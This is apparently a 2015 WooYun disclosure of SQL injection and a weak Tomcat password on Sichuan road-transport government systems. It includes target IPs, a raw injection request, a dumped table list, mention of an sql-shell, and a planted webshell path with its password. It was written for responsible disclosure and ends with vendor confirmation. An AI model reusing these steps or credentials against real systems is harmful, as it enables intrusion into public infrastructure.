当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139213

漏洞标题：四川省交通运输厅道路运输管理局多个业务系统分别存在弱口令/SQL注入漏洞

相关厂商：四川省交通运输厅道路运输管理局

漏洞作者： qglfnt

提交时间：2015-09-08 15:34

修复时间：2015-10-25 17:36

公开时间：2015-10-25 17:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 细节已通知厂商并且等待厂商处理中
2015-09-10： 厂商已经确认，细节仅向厂商公开
2015-09-20： 细节向核心白帽子及相关领域专家公开
2015-09-30： 细节向普通白帽子公开
2015-10-10： 细节向实习白帽子公开
2015-10-25： 细节向公众公开

简要描述：

四川省交通运输厅道路运输管理局多个业务系统分别存在tomcat弱口令(可Getshell)/SQL注入漏洞

详细说明：

http://www.scyg.gov.cn/office

20150905222840.png


四川省运输量统计系统：http://182.150.21.212/
四川交通信息通用上报系统：http://221.237.155.222:6879/ifs/

漏洞证明：

四川省运输量统计系统：http://182.150.21.212
SQL注入

POST http://182.150.21.212/login.aspx HTTP/1.1
Host: 182.150.21.212
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://182.150.21.212/
Cookie: ASP.NET_SessionId=ytbw1i45qiwmpl45nu1qlv55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
__VIEWSTATE=dDwtNzE3NDAxOTg4OztsPEJ0bk9LOz4%2BGa23aQICdZvaJZNNKjE%2B8GQxAME%3D&__VIEWSTATEGENERATOR=F0399ECD&txt_username=admin&txt_password=admin&BtnOK.x=57&BtnOK.y=8


库

20150905223435.jpg


当前库

20150905223338.png


表

Database: StaticDBNew
[54 tables]
+------------------+
| SysArea          |
| SysUser          |
| Table_1          |
| bas_hc           |
| bas_hcjs         |
| bas_hyl          |
| bas_hyzzl        |
| bas_jzxysl       |
| bas_kc           |
| bas_kcjs         |
| bas_kyl          |
| bas_kyqy         |
| bas_kyz          |
| bas_kyzzl        |
| dtproperties     |
| ghs_bdxs_hc      |
| ghs_bdxs_kc      |
| ghs_dc_hc        |
| ghs_dc_hc_xx     |
| ghs_dc_kc        |
| ghs_dc_kc_xx     |
| ghs_dc_kyz       |
| ghs_dc_qy        |
| ghs_dc_ydscqk    |
| ghs_hc_all       |
| ghs_hc_change    |
| ghs_hc_pt        |
| ghs_hc_tlj       |
| ghs_hc_wx        |
| ghs_hc_zy        |
| ghs_hc_zy_gc     |
| ghs_hc_zy_jzx    |
| ghs_hc_zy_qt     |
| ghs_hc_zy_xsc    |
| ghs_kc_all       |
| ghs_kc_bx        |
| ghs_kc_cz        |
| ghs_kc_gj        |
| ghs_kc_qt        |
| ghs_kc_qt_bc     |
| ghs_kc_qt_ly     |
| ghs_kc_qt_zl     |
| ghs_rlxh1        |
| ghs_rlxh2        |
| ghs_rlxh3        |
| ghs_tj_yb1       |
| ghs_tj_yb1_new   |
| ghs_tj_yb2       |
| ghs_tj_yb3       |
| ghs_yyl_hc       |
| ghs_yyl_kc       |
| sys_organization |
| sysconstraints   |
| syssegments      |
+------------------+


sqlhash(test/sa)

20150905223710.png


sql-shell

20150905223913.png


四川交通信息通用上报系统：http://221.237.155.222:6879/ifs/
tomcat弱口令，http://221.237.155.222:6879

20150905224159.png


部署war包 getshell
webshell：http://221.237.155.222:6879/er/er.jsp pass:sw

20150905224426.png


20150905224613.png


数据库配置信息

20150905224657.png

修复方案：

SQL注入过滤参数
修改tomcat帐号密码

版权声明：转载请注明来源 qglfnt@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-09-10 17:34

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给四川分中心，由其后续协调网站管理单位处置。同时同步抄报给交通部通报中心.按多个风险点评分,rank 14

最新状态：

暂无